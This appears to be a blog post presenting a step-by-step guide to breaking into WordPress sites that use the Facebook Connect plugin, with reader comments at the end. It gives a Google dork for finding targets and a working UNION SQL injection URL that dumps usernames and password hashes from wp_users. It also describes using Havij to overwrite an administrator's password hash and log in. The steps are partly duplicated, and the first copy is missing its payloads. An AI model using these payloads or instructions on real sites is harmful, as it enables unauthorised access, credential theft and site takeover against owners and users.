How to hack wordpress websites || SQli vulnerability & exploit
There is so many Pepoles using Facebook Connect Wordpress plugin for their blogs. They think it's cool. But it could be a Big Security hole. Here's the way to hack these sites.
Step 1 : http://www.google.com
Step 2:Now enter this dork to find sites with security hole..
Step 4: Now replace
with this
Step 5: Now you have the User name and Password.
Step 6: The password is encrypted with Wordpress md5 (blowfish). You need to decode this.
Step 7: Then find the administrator panel out. Normally it should be in
Note: Decoding this type of password may take a big time.
So you here is another way to hack the password.....
Step 1: Open Havij and paste the blog url you are going to hack..
Example:
Step 2: Now find Databases, Tables.
Step 3: Select wp-users then find tick on all columns. Then click on Get Data.
Step 4: You will find something like that..
Step 5: Now select any user and change the user_pass to
Step 6: Now login with the password hackintruths .
Step 1 : http://www.google.com
Step 2:Now enter this dork to find sites with security hole..
inurl:"fbconnect_action=myhome"
 |
| You will find something like that. |
Step 4: Now replace
?fbconnect_action=myhome&userid=
with this
?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
Step 5: Now you have the User name and Password.
Step 6: The password is encrypted with Wordpress md5 (blowfish). You need to decode this.
Step 7: Then find the administrator panel out. Normally it should be in
www.victrimsite.com/wp-admin
or www.victrimsite.com/wp-login.php
Note: Decoding this type of password may take a big time.
So you here is another way to hack the password.....
Step 1: Open Havij and paste the blog url you are going to hack..
Example:
http://www.victrimsite.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29z0mbyak,7,8,9,10,11,12+from+wp_users--
Step 2: Now find Databases, Tables.
Step 3: Select wp-users then find tick on all columns. Then click on Get Data.
Step 4: You will find something like that..
Step 5: Now select any user and change the user_pass to
$P$BbCzkVXQ6r.T8znShDPMSzM7Whhubc/
Step 6: Now login with the password hackintruths .
Step 6: The password is encrypted with Wordpress md5 (blowfish). You need to decode this.
ReplyDeleteHow to decode ? HAVIJ is not working for me.....
google it...many sites are there to decrypt md5 hash..
Delete